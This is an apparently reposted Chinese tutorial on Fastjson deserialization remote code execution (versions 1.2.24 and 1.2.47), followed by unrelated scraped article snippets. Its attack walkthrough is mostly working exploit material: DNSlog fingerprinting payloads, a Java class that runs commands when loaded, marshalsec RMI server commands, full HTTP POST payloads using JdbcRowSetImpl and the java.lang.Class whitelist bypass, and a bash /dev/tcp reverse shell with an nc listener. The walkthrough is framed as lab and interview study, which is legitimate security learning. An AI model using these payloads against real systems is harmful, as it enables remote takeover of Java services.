一文读懂面试官都在问的Fastjson漏洞

Fastjson1.2.24-RCE漏洞

漏洞简介

fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。即fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。

指纹特征

  1. 根据返回包判断

    任意抓个包,提交方式改为POST,花括号不闭合。返回包在就会出现fastjson字样。当然这个可以屏蔽!

    image-20230420173222817

  2. 利用DNSlog盲打

    构造以下payload,利用sdnslog平台接收。

     {"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}

    1.2.67版本后payload

     {"@type":"java.net.Inet4Address","val":"dnslog"}
     {"@type":"java.net.Inet6Address","val":"dnslog"}
     畸形:{"@type":"java.net.InetSocketAddress"{"address":,"val":"这里是dnslog"}}

     

     POST / HTTP/1.1
     Host: 192.168.72.128:8090
     User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
     Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
     Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
     Accept-Encoding: gzip, deflate
     Connection: close
     Upgrade-Insecure-Requests: 1
     Content-Type: application/json
     Content-Length: 71
     
     {"YikJiang":{"@type":"java.net.Inet4Address","val":"pesy0e.dnslog.cn"}}

    image-20230418112140106

    image-20230418112243587

  3. Java站并且传的数据是JSON格式的都可以尝试

  4. Burp插件检测

漏洞原理

一、原理概述

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,autoType标注了类对应的原始类型,方便在反序列化的时候定位到具体类型,fastjson在对JSON字符串进行反序列化的时候,就会读取@type到内容,试图把JSON内容反序列化成这个对象,并且会调用这个类的setter方法。并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链,造成远程代码执行。

因为有了autoType功能,那么fastjson在对JSON字符串进行反序列化的时候,就会读取@type到内容,试图把JSON内容反序列化成这个对象,并且会调用这个类的setter方法。那 么就可以利用这个特性,自己构造一个JSON字符串,并且使用@type指定一个自己想要使用的攻击类库。

在fastjson中我们使用 JdbcRowSetImpl进行反序列化的攻击,我们给此类中的setDataSourcesName 输入恶意内容(rmi链接),让目标服务在反序列化的时候,请求rmi服务器,执行rmi服务器下发的命令,从而导致远程命令执行漏洞

二、Fastjson

FastJson是alibaba的一款开源JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转换为等效的Java对象。

三、AutoType

fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。但是,fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制,而是自定义了一套机制。

对于JSON框架来说,想要把一个Java对象转换成字符串,可以有两种选择:

  1. 1、基于属性

  2. 2、基于setter/getter

而我们所常用的JSON序列化框架中,FastJson和jackson在把对象序列化成json字符串的时候,是通过遍历出该类中的所有getter方法进行的。Gson并不是这么做的,他是通过反射遍历该类中的所有属性,并把其值序列化成json。我们对java类进行序列化的时候,fastjson会自动扫描其中的get方法,将里边的字段值序列化到JSON的字符串中,当类包含了一个接口或者抽象了的时候,使用fastjson进行序列化的时候就会将子类型抹去,只留下接口(抽象类)的类型,反序列化的时候就无法拿到原始的类型。

但是使用SerializerFeature.WriteClassName进行标记后,JSON字符串中多出了一个@type字段,标注了类对应的原始类型,方便在反序列化的时候定位到具体类型,这个就是AutoType,和引入AutoType的原因。

因为有了autoType功能,那么fastjson在对JSON字符串进行反序列化的时候,就会读取@type到内容,试图把JSON内容反序列化成这个对象,并且会调用这个类的setter方法。那 么就可以利用这个特性,自己构造一个JSON字符串,并且使用@type指定一个自己想要使用的攻击类库。

四、@type

@typefastjson中的一个特殊注解,用于标识JSON字符串中的某个属性是一个Java对象的类型。具体来说,当fastjsonJSON字符串反序列化为Java对象时,如果JSON字符串中包含@type属性,fastjson会根据该属性的值来确定反序列化后的Java对象的类型。

五、 JNDI 注入

1、JNDI是什么

JNDI全称为Java命名和目录接口。我们可以理解为JNDI提供了两个服务,即命名服务和目录服务。

2、lookup函数

如果lookup参数可控的话,那么我们就可以传入恶意的url地址来控制受害者加载攻击者指定的恶意类。当我们指定一个恶意的URL地址之后,受害者在获取完这个远程对象之后,开始调用恶意方法。但是在RMI中,调用远程方法,最终的执行是服务端去执行。只是把最终的结果以序列化的形式传递给客户端,也就是这里所说的受害者。当然,如果受害者内部存在漏洞组件存在反序列化漏洞的话,我们可以构造恶意的序列化对象,返回给客户端,当客户端在进行反序列化的时候,可以触发漏洞;如果目标组件不存在反序列化漏洞,我们返回一个恶意对象,但是客户端本地没有这个class文件,当然也就不能成功获取到这个对象。

六、RMI

RMI(Remote Method Invocation)远程方法调用,是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法。

七、LDAP

LDAP是轻型目录访问协议的缩写,是一种用于访问和维护分层目录信息的协议。

八、JdbcRowSetImpl利用链

在fastjson中我们使用JdbcRowSetImpl进行反序列化的攻击,JdbcRowSetImpl利用链的重点就在怎么调用autoCommit的set方法,而fastjson反序列化的特点就是会自动调用到类的set方法,所以会存在这个反序列化的问题。只要制定了@type的类型,他就会自动调用对应的类来解析。

这样我们就可以构造我们的利用链。在@type的类型为JdbcRowSetImpl类型的时候,JdbcRowSetImpl类就会进行实例化,那么只要将dataSourceName传给lookup方法,就可以保证能够访问到远程的攻击服务器,再使用设置autoCommit属性对lookup进行触发就可以了。整个过程如下: 通过设置dataSourceName将属性传参给lookup的方法—>设置autoCommit属性,利用SetAutoCommit函数触发connect函数—>触发connect函数下面lookup函数就会使用刚刚设置的dataSourceName参数,即可通过RMI访问到远程服务器,从而执行恶意指令。 exploit如下:

 {“@type”:”com.sun.rowset.JdbcRowSetImpl”,”dataSourceName”:”rmi://192.168.17.39:9999/Exploit”,”autoCommit”:true}

值得注意的是: 1、dataSourceName 需要放在autoCommit的前面,因为反序列化的时候是按先后顺序来set属性的,需要先etDataSourceName,然后再setAutoCommit 2、rmi的url后面跟上要获取的我们远程factory类名,因为在lookup()里面会提取路径下的名字作为要获取的类。

九、触发流程图

image-20230416120023552

漏洞复现

1、访问靶机

靶机运行后,访问http://you-ip:8090 即可看到JSON格式的输出

image-20230417164130976

2、攻击环节

a.首先我们构造一个YikJiang.java命令执行荷载,上传VPS并编译

 // javac YikJiang.java
 import java.lang.Runtime;
 import java.lang.Process;
 
 public class YikJiang {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/YikJiang0916"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
 }

b.终端进行编译

注意要使用java1.8版本,高版本的jdk 版本把远程调用修复了,因为这个搞了半天

 javac .\YikJiang.java

c.编译完成后,会发现当前目录下生成了YikJiang.class文件

d.利用python启动临时的http服务,端口为8888

 python.exe -m http.server 8888

image-20230418103833603

e. 利用marshalsec工具(需要maven环境编译),或者使用工具marshalsec-0.0.3-SNAPSHOT-all.jar

f.生成payload

启动RMI服务器,监听8888端口,并指定加载远程类YikJiang.class

 java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.161:8888/#YikJiang" 777

image-20230418104029745

g.修改提交模式和Content-Typeapplication/json,发送payload

POST / HTTP/1.1
Host: 192.168.72.128:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 161

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.1.161:777/YikJiang",
"autoCommit":true
}
}

image-20230418104051561

3、攻击结果

进入doker容器docker exec -it 6549e687ad97 /bin/bash

image-20230418104218435

Fastjson1.2.47-RCE漏洞

漏洞简介

fastjson 于1.2.24 版本后增加了反序列化白名单。而在2019年6月,fastjson 又被爆出在 fastjson< =1.2.47 的版本中,攻击者可以利用特殊构造的 json 字符串绕过白名单检测,成功执行任意命令

漏洞复现

在1.2.24版本漏洞复现中,我们利用fastjson漏洞进行了命令执行,1.2.27中,我们就尝试反弹shell(其实原理都相同)

1、访问靶机

靶机运行后,访问http://you-ip:8090 即可看到JSON格式的输出

image-20230420173104950

2、攻击环节

a.我们构造反弹Shell

构造反弹shell的方式有很多种,这里用Hack-Tools插件进行构造

bash -i >& /dev/tcp/192.168.1.161/6666 0>&1

image-20230420173642692

b.首先我们构造一个YikJiang.java命令执行荷载,上传VPS并编译

import java.lang.Runtime;
import java.lang.Process;

public class YikJiang {
static {
try {
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.1.161/6666 0>&1"});
p.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

b.终端进行编译

注意要使用java1.8版本,高版本的jdk 版本把远程调用修复了,因为这个搞了半天

javac .\YikJiang.java

c.编译完成后,会发现当前目录下生成了YikJiang.class文件

d.利用python启动临时的http服务,端口为8888

Python2.0 python2 -m SimpleHTTPServer 8888

Python3.0 python3 -m http.server 8888

python.exe -m http.server 8888

image-20230420174718130

image-20230420174945006

e. 利用marshalsec工具(需要maven环境编译),或者使用工具marshalsec-0.0.3-SNAPSHOT-all.jar

f.生成payload

启动RMI服务器,并指定加载远程类YikJiang.class

java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.161:8888/#YikJiang" 9999

image-20230420175508334

g.本地开启监听nc -lvp 6666

image-20230420175754058

h.修改提交模式和Content-Typeapplication/json,发送payload

POST / HTTP/1.1
Host: 192.168.72.128:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 287

{

"a":{

    "@type":"java.lang.Class",

    "val":"com.sun.rowset.JdbcRowSetImpl"

},

"b":{

    "@type":"com.sun.rowset.JdbcRowSetImpl",

    "dataSourceName":"rmi://192.168.1.161:9999/YikJiang",

    "autoCommit":true

}

image-20230420175836324

3、攻击结果

发送成功后,RMI服务器记录了请求信息,并且成功反弹Shell

image-20230420175900012

 

本文转载于网络 如有侵权请联系删除

相关文章

  • 如何在git中创建新分支

    介绍Git是一个开源版本控制系统,用于在软件开发过程中跟踪更改。它的相互独立的分支模型使其脱颖而出。分支可以基于以前版本的软件来保持当前进度的完整性,同时处理错误修复或新功能。在本地创建Git存储库要创建新的Git存储库,请在终端中输入以下命令:mkdirrumenz cdrumenz gitinit 复制这将在rumenz目录中创建并初始化一个新的Git存储库。创建一个新的降价文件并添加一行文本:echoThisisalineoftext>rumenz.md 复制检查文件状态gitstatus你会看到该文件未被跟踪。跟踪它并通过输入以下内容创建第一个提交:gitaddrumenz.md gitcommit-m"FirstCommit" 复制注意:如果这是你第一次运行Git,则操作可能会失败。使用屏幕上列出的命令(Gitconfig)设置你的全局电子邮件和用户名,然后重试。创建一个新的Git分支有很多方法可以创建一个新的Git分支。在大多数情况下,这取决于你是从主分支创建分支,还是例如新的提交或标签。创建新分支的一种常用方法是使用以下命令:gitbranch&

  • Impala graceful shutdown功能介绍

    了解Impala的同学都知道,Impala是一个典型的MPP架构,节点都是无状态的,随时可以拉起和停掉,所以我们可以方便地对整个集群进行扩容/缩容。但是在缩容的时候,会遇到一个问题:当节点上有SQL在跑的时候,如果我们直接停掉节点的话,那么这个节点上的所有SQL都会失败,这个对用户的影响还是非常不友好的。在物理机部署的时候,由于扩容/缩容操作相对比较小,所以这个问题影响较小。如果我们在使用容器化部署的时候,节点的上线和下线比较频繁,那这个影响比较大了。 Impala在3.x版本的时候提供了gracefulshutdown的功能来解决这个问题。当我们使用gracefulshutdown功能关闭节点的时候,该节点会等到SQL执行完之后(在一定时间内)再关闭服务,同时不再接受其他的请求。在介绍gracefulshutdown功能之前,我们需要先说明以下两个相关的配置项:shutdown_grace_period_s,默认为120s,表示节点在关闭之前至少会等待shutdown_grace_period_s这个时间间隔,用于进行一些信息的更新和同步,但是在此期间,节点也不会接受外部的请求;sh

  • 使用lucene分词

    org.apache.lucene lucene-core 3.6.2 org.apache.lucene lucene-memory 3.6.2 org.apache.lucene lucene-highlighter 3.6.2 org.apache.lucene lucene-analyzers 3.6.2 lucene ikanalyzer 2012复制首先使用maven引入jar下面是java代码 packagecom.os.core.util.lucene; importjava.io.IOException; importjava.io.StringReader; importjava.util.ArrayList; importjava.util.Collections; importjava.util.Comparator; importjava.util.HashMap; importjava.util.List; importjava.util.Map; importjava.util.Map.Entry; importorg.apache.lu

  • LeetCode 1533. Find the Index of the Large Integer(二分查找)

    文章目录1.题目2.解题1.题目Wehaveanintegerarrayarr,wherealltheintegersinarrareequalexceptforoneintegerwhichislargerthantherestoftheintegers.Youwillnotbegivendirectaccesstothearray,instead,youwillhaveanAPIArrayReaderwhichhavethefollowingfunctions:intcompareSub(intl,intr,intx,inty):where0<=l,r,x,y<ArrayReader.length(),l<=randx<=y.Thefunctioncomparesthesumofsub-arrayarr[l…r]withthesumofthesub-arrayarr[x…y]andreturns: 1ifarr[l]+arr[l+1]+...+arr[r]>arr[x]+arr[x+1]+...+arr[y]. 0ifarr[l]+arr[l+1]+.

  • Go语言入门学习之Groupcache源码分析

    源码框架groupcache是memcached的作者作者BradFitzpatrick写的GO的版本,现用于dl.google.com,主要用于静态文件资源服务,是一款轻量级开源项目,容易理解,是作为go语言入手学习的不错选择。本文主要针对groupcache的架构和功能进行了源码介绍。图1为整个代码框架图企业微信截图_16111103202694.png整个代码一般的使用流程是:首先用户发起请求到httppool的监听节点,httppool设置peers,并且自身相当于一个peer服务器节点,实现了peers.go的接口(其中peer代表服务器节点)httppool节点收到请求后分析字段,根据groupname调用相应的group(group为查询数据的主要结构体)group查询本地的mainCache和hotCache,找到数据返回给客户,否则执行步骤4查询当前节点是否为当前httppool代表的peer节点,如果是执行步骤5,否则执行步骤6从本地数据集获取数据,并将数据存放在mainCache缓存里,执行步骤7从对应的节点获取数据,并有1/10的概率缓存到当前hotCache里

  • 详解C# 利用反射根据类名创建类的实例对象

    “反射”其实就是利用程序集的元数据信息。反射可以有很多方法,编写程序时请先导入System.Reflection命名空间。1、假设你要反射一个DLL中的类,并且没有引用它(即未知的类型):Assemblyassembly=Assembly.LoadFile("程序集路径,不能是相对路径");//加载程序集(EXE或DLL) dynamicobj=assembly.CreateInstance("类的完全限定名(即包括命名空间)");//创建类的实例复制2、若要反射当前项目中的类(即当前项目已经引用它了)可以为:Assemblyassembly=Assembly.GetExecutingAssembly();//获取当前程序集 dynamicobj=assembly.CreateInstance("类的完全限定名(即包括命名空间)"); //创建类的实例,返回为object类型,需要强制类型转换复制3、也可以为:Typetype=Type.GetType("类的完全限定名"); dynamicobj=type

  • React-Native使用全局变量踩坑记

    在Reactnative开发中,经常需要获取屏幕宽高设置布局,或者是取屏幕宽高百分比设置布局。通常做法都是创建一个工具文件比如utils.js,然后在工具文件中提前把屏幕宽高取出来,再创建一个get方法来获取对应的值。如此我们在哪里使用就需要在哪里导入utils.js,再执行get方法获取对应的值。如果有一百个地方使用屏幕宽高,那就需要导入100次,再get100次方法!思来想去上面做法太鸡肋,有什么办法让我们只需获取一次,终身享用呢?当然有!此刻该我们的主角Global闪亮登场了。屏幕宽高是个固定值我们完全可以在初始化的时候获取,然后存起来,之后赋值给一个全局变量。既然是全局变量,那全世界人民都能用到它,想在哪里用就在哪里用,妈妈再也不用担心我天天get去拿值。有了思路直接开干!START先创建一个constant.js,专门负责初始化全变量(全局变量的值也就是我们认定的常量值),然后在项目的入口文件第一行先导入constant.js。导入constant.js记得加上注释。重要的事情说三遍:1:在项目入口文件导入constant.js地方加上注释!2:在项目入口文件导入consta

  • 【LeetCode第178场周赛】5344. 有多少小于当前数字的数字

    给你一个数组nums,对于其中每个元素nums[i],请你统计数组中比它小的所有数字的数目。换而言之,对于每个nums[i]你必须计算出有效的j的数量,其中j满足j!=i且nums[j]<nums[i]。以数组形式返回答案。示例1:输入:nums=[8,1,2,2,3] 输出:[4,0,1,1,3] 解释: 对于nums[0]=8存在四个比它小的数字:(1,2,2和3)。 对于nums[1]=1不存在比它小的数字。 对于nums[2]=2存在一个比它小的数字:(1)。 对于nums[3]=2存在一个比它小的数字:(1)。 对于nums[4]=3存在三个比它小的数字:(1,2和2)。复制示例2:输入:nums=[6,5,4,8] 输出:[2,1,0,3]复制示例3:输入:nums=[7,7,7,7] 输出:[0,0,0,0]复制提示:2<=nums.length<=5000<=nums[i]<=100暴力排序出值structnum{ intval; intweizhi; intpaiming; }; boolcmp1(numa,numb){ returna.

  • 老项目迁移问题:@ImportResource导入的xml配置里的Bean能够使用@PropertySource导入的属性值吗?【享学Spring】

    前言写这篇文章的原动力是由于昨晚深夜一个小伙伴咨询我的一个问题(这位小伙伴这么晚了还在折腾,也是给个大大的赞),涉及到了如题方面的知识。 当然促使我书写本文最重要原因的是:这种从传统Spring项目向SpringBoot迁移进阶的case,我个人认为在现阶段的环境下还是有较大概率出现的,因此推荐收藏本文,对你后续或许有所帮助~情景描述为了更直观的说明问题所在,截图部分聊天记录如下: 这位小伙伴描述的问题还是蛮清晰,所以我还是很愿意跟他一起探讨的~勾起兴趣还有一个原因:Spring对占位符提供了非常强大的支持,但基本上新手都还不能好好利用它和利用好它,更区分不清使用的规范和区别,本文也希望做点努力,能够起到稍微一点的作用~ 对此部分内容若需要热场,推荐可以先浏览一下这篇文章:【小家Spring】Spring中@PropertySource和@ImportResource的区别,以及各自的实现原理解析可以看到,早在我这篇文章里我就说了这么一句话: 而刚好这个小伙伴的场景(其实我自己还并没有遇到过此场景),就类属于老项目到SpringBoot新项目的一个迁移case,这时不结合分析,更待

  • httpclient遇到socket closed解决办法

    本人在做接口功能自动化测试的过程中遇到一个一个问题,如果请求过于频繁后,总会报一个java.net.SocketException:socketclosed异常,在研究完代码之后发现了一个问题,在请求结束之后我做一个释放释放链接的方法。 很早之前写的这个了,没想到访问量还挺高,为了不误人子弟特意来补充:本人用的httpclient包是4.5.5,releaseConection()方法已经弃用了。用现在的PoolingHttpClientConnectionManager来管理连接池,不需要这个方法。异常想信息如下: java.net.SocketException:socketclosed 下面是我的错误代码:request.releaseConnection();//此处容易造成socketclose 我想了一下,查阅了一些资料,这个releaseconnection()的方法,是释放该链接之后并不关闭,这样这个链接就可以重复使用了。官方的文档中表达如下:Thisisacrucialsteptokeepthingsflowing.WemusttellHttpClientthatwe

  • 回顾 | 一周精彩IT技术大会纵览

    IT大咖说第0802期推送 一周大会REVIEW▼大会名称日期地点VMware技术专题分享第二期:vSAN常见故障排错08.07在线开放生态定义未来|HuaweiDeveloperDay·深圳站08.09深圳【CloudNativeLives系列直播第5期】K8S网络模型原理剖析与实践08.09在线大数据原理与架构08.09在线NEO区块链公开课(1):NEO区块链开发入门08.10上海2018华为云技术私享会天津站·有云·有未来开启全民上云新时代华为云基础服务大解析08.10天津2018华为云技术私享会·华为云区块链,释放新能量08.10深圳法治周末——第一期智慧司法公开课08.10在线NIUDAY小牛汇共享日·成都站-AI+Cloud赋能行业未来08.11成都携程技术沙龙——移动互联网下的测试技术创新与实践II08.11上海【Chainge】技术沙龙——证券型通证or实用型通证?08.11北京超级账本深圳面对面(HyperledgerShenzhenMeetup)08.11深圳FlinkChina社区线下Meetup·北京站-实时计算,大有可为08.11北京高效测试赋能产品迭代——

  • 服务器自建yum源

    最近服务器重装了,yum源也需要重新配置,记录一下1、删除/etc/yum.repos.d/文件夹下的所有以repo为后缀的文件rm/etc/yum.repos.d/*.repo 复制2、上传ISO镜像到服务器上3、进行以下操作:mkdir/mnt mount-tiso9660-oloop/data/centos_iso/CentOS-7-x86_64-DVD-2009.iso/mnt mkdir-p/data/repos/centos cp-r/mnt/Packages/data/repos/centos/ cp-r/mnt/repodata/data/repos/centos/ 复制4、配置nginxserver{ listen65530; server_namelocalhost; location/centos{ autoindexon; autoindex_localtimeon; autoindex_exact_sizeoff; root/data/repos; } } 复制前端访问http://192.192.1.230:65530/centos/显示的目录是:/

  • 中文词频统计

    大家好,又见面了,我是你们的朋友全栈君。主要代码如下: 排序出高频词 #-*-coding:utf-8-*-""" fromwordcloud importWordCloudimportmatplotlib.pyplotasplt importjieba article=open('hlm.txt',encoding='UTF-8').read() dele={'。','!','?','】','“','”','(',')','','》','《',','} jieba.add_word('贾宝玉') words=list(jieba.cut(article)) articleDict={} articleSet=set(words)-dele forwinarti

  • pycharm断点怎么用_idea如何打断点调试

    大家好,又见面了,我是你们的朋友全栈君 如何进行断点调试1添加断点2调试断点3调试到下一个断点4关于断点调试的说明4.1stepinto4.2stepover4.3stepout5快捷键6参考本文是基于pycharm2019.12的版本撰写的。1添加断点断点的添加方法:在代码的行标前面左键单击即可,如下图所示注意:被注释了的代码行是添加不了断点的!!! 2调试断点两种方法,效果都是一样的:点击那个绿色的甲虫图标,开始断点调试,如下图,或者使用右键,选中debug,开始断点调试,如下图, 开始debug调试后,程序会运行到第一个断点。会显示该断点之前的变量信息(包括变量类型和变量的值)。方法:找到想要查看的变量,点击右键,可以看到:AddtoWatches,Viewasarray。 可以看到,利用addtowatches,变量可以被加入到watches窗口,方便查看 更方便的是,可以直接在Variables窗口(或者Watches窗口)找到要查看的变量,右键Viewasarray,可以实现类似于Matlab的数据查看效果。复制3调试到下一个断点点击StepOver或者按F8,程序继续

  • 仓库的位置

    nuget下载的包的位置缺省的情况下,nuget的位置,在下面这个文件中配置着。C:\ProgramFiles(x86)\NuGet\Config\Microsoft.VisualStudio.Offline.config内容如下<?xmlversion="1.0"encoding="utf-8"?> <configuration> <packageSources> <addkey="MicrosoftVisualStudioOfflinePackages"value="C:\ProgramFiles(x86)\MicrosoftSDKs\NuGetPackages\"/> </packageSources> </configuration>复制添加如下配置<config> <addkey="globalPackagesFolder"value="D:\repo\nuget\"/

  • OpenStack Identity API v3 extensions (CURRENT)

    TableOfContents IdentityAPIv3extensions(CURRENT) OS-ENDPOINT-POLICYAPI Associatepolicyandendpoint Verifyapolicyandendpointassociation Deleteapolicyandendpointassociation Associatepolicyandservice-typeendpoint Verifyapolicyandservice-typeendpointassociation Deleteapolicyandservice-typeendpointassociation Showpolicyforendpoint Checkpolicyandserviceendpointassociation Associatepolicyandservice-typeendpointinaregion Verifyapolicyandservice-typeendpointinaregionassociation Deleteapolicyandservice-t

  • ubuntu 13.4 jdk

    1.手工从Oralce官网下载jdk-7u25-linux-x64.gz 然后mv jdk-7u25-linux-x64.gz /usr/local/devtools2.解压 tar zxvf jdk-7u25-linux-x64.gz3.设置环境变量vim/etc/profile按a进入编辑模式,在文件最后输入#setjavaenvironmentexport JAVA_HOME=/usr/local/devtools/jdk1.7.0_25  export CLASSPATH=.:${JAVA_HOME}/lib:$CLASSPATHexport PATH=${JAVA_HOME}/bin:$PATH按ESC退出编辑模式,输入:wqPS:看到有好多人设置了JRE_HOME,个人认为没有必要使命令生效source /etc/profile4.再次设置环境变量vim/etc/bash.bashrc按a进入编辑模式,在文件最后输入#setjavaenvironmente

  • 设计师 与 工程师 - 期望

    设计师眼中理想的开发伙伴 能完美快速的实现任何UI 能完美快速的实现设计文档中缺漏的任何部分,并能和我的想法契合 能熟练换算各种尺寸,颜色单位 不要让我因为小修改而提交文档 能保存好所有以往的设计文档,不要跟我要 工程师眼中理想的设计伙伴 能完美快速的交付设计文档 设计文档中包含所有的交互细节 设计文档中按照开发习惯标注好尺寸颜色 不要口头告诉我修改什么东西 不要问我上次的设计中某个东东的宽度是多少

  • golang 网络编程之如何正确关闭tcp连接以及管理它的生命周期

    欢迎访问我的个人网站获取更佳阅读排版golang网络编程之如何正确关闭tcp连接以及管理它的生命周期|yokoblog(https://pengrl.com/p/47401/) 本篇文章部分内容涉及到tcp协议以及socket编程的通用底层知识。讨论的tcp连接对象皆为golang的net.conn对象。如果存在错误,请一定指正,谢谢。 先上结论 Read方法返回EOF错误,表示本端感知到对端已经关闭连接(本端已接收到对端发送的FIN)。此后如果本端不调用Close方法,只释放本端的连接对象,则连接处于非完全关闭状态(CLOSE_WAIT)。即文件描述符发生泄漏。 Write方法返回brokenpipe错误,表示本端感知到对端已经关闭连接(本端已接收到对端发送的RST)。此后本端可不调用Close方法。连接处于完全关闭状态。 由于golang里net.conn内部对文件描述符的所有io操作都有状态保护,所以即使在对端或本端关闭了连接之后,依然可以任意次数调用Read、Write、Close方法。 个人认为正确、简单、语义清晰、高效的做法:应该在Read或Write返回错误后调用

  • cocos2d-x3.2创建新项目失败的一种可能性(cygwin自带的python2.6被抢先执行)

    之前一直使用cocos2d-x2.2写游戏,写了几个游戏后,想尝试下3.x版本的新功能,就下载了cocos2d-x3.2版本。 参照官方文档的说法,cocos2d-x3.x版本需要python2.7环境支持,python2.6以及python3.x版本都不行,所以特意去python官网下载了2.7.8版本,安装好后进入目录: cocos2d-x-3.2\tools\cocos2d-console\bin 执行命令: pythoncocos.pynewHelloCpp-pcom.hello.test-lcpp-d../../../projects 结果报错如下: 看不出什么原因,于是上网查了下,说遇到这个问题是因为python版本不对,需要python2.7版本才能正常使用。 这就奇怪了,我明明安装的就是2.7.x版本啊,于是特意执行python命令确认了一下版本号。 显示的结果让我感到很纳闷,我明明安装的是2.7.8啊,怎么显示的信息是2.6.5呢 之后又去搜索我电脑里已安装的python程序,确定我电脑里只安装了2.7.8。   纳闷了一会后,突然注意到了上图的末尾显

  • 多线程

    利用委托启用不带返回值线程 Private SubButton1_Click(senderAs Object,eAsEventArgs)HandlesButton1.Click DimmActionAs NewAction(Of String)(AddressOfDoSomething) 'mAction("1")'直接调用委托,这种方式会阻塞线程 'mAction.Invoke("2")'调用委托的Invoke方法,这种方式与直接调用委托一样,会阻塞线程 '线程执行完后,会先来这行这个函数 DimmCallbackAsAsyncCallback=NewAsyncCallback(Sub(ByValarAsAsyncResult) DimRetSAs String=ar.AsyncState'这里会得到的结果是BeginInvoke传进来的第三个参数:"hhhhh" 'Me.Text=RetS'更新不了,因为这里还是属于线程的一部分

相关推荐

推荐阅读